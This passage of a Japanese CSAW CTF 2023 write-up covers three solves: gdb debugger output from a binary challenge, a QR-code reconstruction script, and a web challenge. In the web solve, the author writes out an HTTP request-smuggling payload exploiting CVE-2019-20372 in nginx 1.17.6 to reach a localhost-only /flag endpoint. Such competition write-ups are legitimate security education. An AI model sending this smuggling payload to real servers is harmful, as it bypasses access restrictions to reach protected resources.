   0x55555555522a <xoring+241>: pop    rbp
   0x55555555522b <xoring+242>: ret
   0x55555555522c <printbinchar>:       push   rbp
   0x55555555522d <printbinchar+1>:     mov    rbp,rsp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
0008| 0x7fffffffdce8 --> 0x5555555552a1 (<printbinchar+117>:    nop)
0016| 0x7fffffffdcf0 --> 0x0 
0024| 0x7fffffffdcf8 --> 0x3700000000 ('')
0032| 0x7fffffffdd00 --> 0x0 
0040| 0x7fffffffdd08 --> 0x100000001 
0048| 0x7fffffffdd10 --> 0x100000000 
0056| 0x7fffffffdd18 --> 0x100000001 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555225 in xoring ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x10 
RBX: 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
RCX: 0x7 
RDX: 0x555555558030 ("0101110001000111")
RSI: 0x28 ('(')
RDI: 0x7fffffffdd00 --> 0x100000000 
RBP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RSP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RIP: 0x555555555225 (<xoring+236>:      mov    eax,0x0)
R8 : 0x400 
R9 : 0x410 
R10: 0x1000 
R11: 0x3f ('?')
R12: 0x0 
R13: 0x7fffffffde88 --> 0x7fffffffe226 ("CLUTTER_IM_MODULE=xim")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555521b <xoring+226>: add    DWORD PTR [rbp-0x8],0x1
   0x55555555521f <xoring+230>: cmp    DWORD PTR [rbp-0x8],0x3
   0x555555555223 <xoring+234>: jle    0x5555555551bf <xoring+134>
=> 0x555555555225 <xoring+236>: mov    eax,0x0
   0x55555555522a <xoring+241>: pop    rbp
   0x55555555522b <xoring+242>: ret
   0x55555555522c <printbinchar>:       push   rbp
   0x55555555522d <printbinchar+1>:     mov    rbp,rsp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
0008| 0x7fffffffdce8 --> 0x5555555552a1 (<printbinchar+117>:    nop)
0016| 0x7fffffffdcf0 --> 0x0 
0024| 0x7fffffffdcf8 --> 0x4300000000 ('')
0032| 0x7fffffffdd00 --> 0x100000000 
0040| 0x7fffffffdd08 --> 0x0 
0048| 0x7fffffffdd10 --> 0x0 
0056| 0x7fffffffdd18 --> 0x100000001 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555225 in xoring ()
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x14 
RBX: 0x7fffffffde78 --> 0x7fffffffe20d ("/media/sf_Shared/bin.out")
RCX: 0x7 
RDX: 0x555555558030 ("01011100010001110000")
RSI: 0x28 ('(')
RDI: 0x7fffffffdd00 --> 0x100000000 
RBP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RSP: 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
RIP: 0x555555555225 (<xoring+236>:      mov    eax,0x0)
R8 : 0x400 
R9 : 0x410 
R10: 0x1000 
R11: 0x3f ('?')
R12: 0x0 
R13: 0x7fffffffde88 --> 0x7fffffffe226 ("CLUTTER_IM_MODULE=xim")
R14: 0x555555557dd8 --> 0x5555555550f0 (<__do_global_dtors_aux>:        endbr64)
R15: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x555555554000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555521b <xoring+226>: add    DWORD PTR [rbp-0x8],0x1
   0x55555555521f <xoring+230>: cmp    DWORD PTR [rbp-0x8],0x3
   0x555555555223 <xoring+234>: jle    0x5555555551bf <xoring+134>
=> 0x555555555225 <xoring+236>: mov    eax,0x0
   0x55555555522a <xoring+241>: pop    rbp
   0x55555555522b <xoring+242>: ret
   0x55555555522c <printbinchar>:       push   rbp
   0x55555555522d <printbinchar+1>:     mov    rbp,rsp
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdce0 --> 0x7fffffffdd30 --> 0x7fffffffdd60 --> 0x1 
0008| 0x7fffffffdce8 --> 0x5555555552a1 (<printbinchar+117>:    nop)
0016| 0x7fffffffdcf0 --> 0x0 
0024| 0x7fffffffdcf8 --> 0x7700000000 ('')
0032| 0x7fffffffdd00 --> 0x100000000 
0040| 0x7fffffffdd08 --> 0x100000001 
0048| 0x7fffffffdd10 --> 0x100000000 
0056| 0x7fffffffdd18 --> 0x100000001 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555225 in xoring ()
gdb-peda$ x/8gx $rdx
0x555555558030 <flag>:  0x3030313131303130      0x3131313030303130
0x555555558040 <flag+16>:       0x0000000030303030      0x0000000000000000
0x555555558050 <index_flag>:    0x0000000000000014      0x0000000000000000
0x555555558060: 0x0000000000000000      0x0000000000000000
gdb-peda$ x/s $rdx
0x555555558030 <flag>:  "01011100010001110000"
csawctf{01011100010001110000}

Smug-Dino (web)

http://web.csaw.io:3009/hintのページにアクセスする。以下を正解すればヒントが得られるようだ。

・Server name
・Server Version
$ curl http://web.csaw.io:3009/ -v     
* processing: http://web.csaw.io:3009/
*   Trying 44.218.164.132:3009...
* Connected to web.csaw.io (44.218.164.132) port 3009
> GET / HTTP/1.1
> Host: web.csaw.io:3009
> User-Agent: curl/8.2.1
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: nginx/1.17.6
< Date: Sat, 16 Sep 2023 00:21:37 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1952
< Connection: keep-alive
< X-Powered-By: Express
< ETag: W/"7a0-qKx6Ou+8z9np0jE0RYCSKOhMytk"
< Set-Cookie: connect.sid=s%3AhkTpIpMvqkLzU8Y6UBcUY2lhZwBmo_XN.0Un9jfMSZVfpK2Kn45RBu6h%2FtaIGbNB8lQ2RtnY7Arc; Path=/; HttpOnly
         :
         :

以下を答えると、ヒントが表示された。

・Server name:nginx
・Server Version:1.17.6
HINT: #1

We believe the item you seek is only accessible to localhost clients on the server; 
All other requests to /flag will be processed as a 401. 


It seems the server is issuing 302 redirections to handle 401 erors...
Is it possible to use the redirection somehow to get the localhost flag?



HINT: #2

CVE 2019-....

「nginx 1.17.6 exploit」で調べると、CVE-2019-20372の脆弱性が見つかる。BurpSuiteのRepeaterで以下のリクエストを送信する。

GET /flag.txt HTTP/1.1
Host: localhost:3009
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 42

GET /flag HTTP/1.1
Host: web.csaw.io:3009

レスポンスは以下のようになり、フラグを取得することができた。

HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Sat, 16 Sep 2023 04:34:04 GMT
Content-Type: text/plain
Content-Length: 29
Connection: close

csawctf{d0nt_smuggl3_Fla6s_!}
csawctf{d0nt_smuggl3_Fla6s_!}

1black0white (forensics)

各行を2進数表記にして、1を黒、0を白とするとQRコードになりそう。

#!/usr/bin/env python3
with open('qr_code.txt', 'r') as f:
    lines = f.read().splitlines()

qr = ''
for line in lines:
    b = bin(int(line))[2:].zfill(29)
    b = b.replace('1', 'X').replace('0', '_')
    qr += b + '\n'

qr = qr[:-1]
print(qr)
$ python3 solve.py > qr.txt
$ cat qr.txt               
XXXXXXX__X___XX_XXXXX_XXXXXXX
X_____X_XX_XX_XXX_X___X_____X
X_XXX_X__XXX__X___X_X_X_XXX_X
X_XXX_X_XX_X_____XX_X_X_XXX_X
X_XXX_X___X_XX__X__XX_X_XXX_X
X_____X_X_X__XXX__X_X_X_____X
XXXXXXX_X_X_X_X_X_X_X_XXXXXXX
____________XX_____XX________
XXXXX_XXXXX_X_XXXX_XXX_X_X_X_
XX_X_X__XX______X___XXXXXX__X
XXX__XXX_X_XX__X_XX_X__XXXX__
XXX_X__XXXXX__XX___XXX__XX___
__XX__X__X_X___XX___X__X__XX_
XX__X___XXX_XXX__X_XXXX_X__XX
__XXXXXX__X__XXXXX____X_XXX__
XX__XX_XXXX_XX__X____XXXXX__X
XXXXXXX_XX__X_XXXX__X____XXX_
XXX_XX__X_X_____X__X__XXXX__X
X_X_XXX____XX__XXX_____X_____
X__X______XX__X_X__XXX_X_X__X
X___X_X___XX____XXXXXXXXX_XX_
________X_X_XXXXX___X___XX_XX
XXXXXXX_XX___XXX__XXX_X_X_X__
X_____X_____XX_XX_XXX___XX___
X_XXX_X_XX__X_XX_X__XXXXXXX__
X_XXX_X_X_X_____X__XX__XX_XXX
X_XXX_X_XX_XX__X____X__XXXXX_
X_____X_X__X__XXX___X_XXX__X_
XXXXXXX_XXXX_____X_X__X_XXX__

$ python2 sqrd.py qr.txt
csawctf{1_d1dnt_kn0w_th1s_w0uld_w0rk}
csawctf{1_d1dnt_kn0w_th1s_w0uld_w0rk}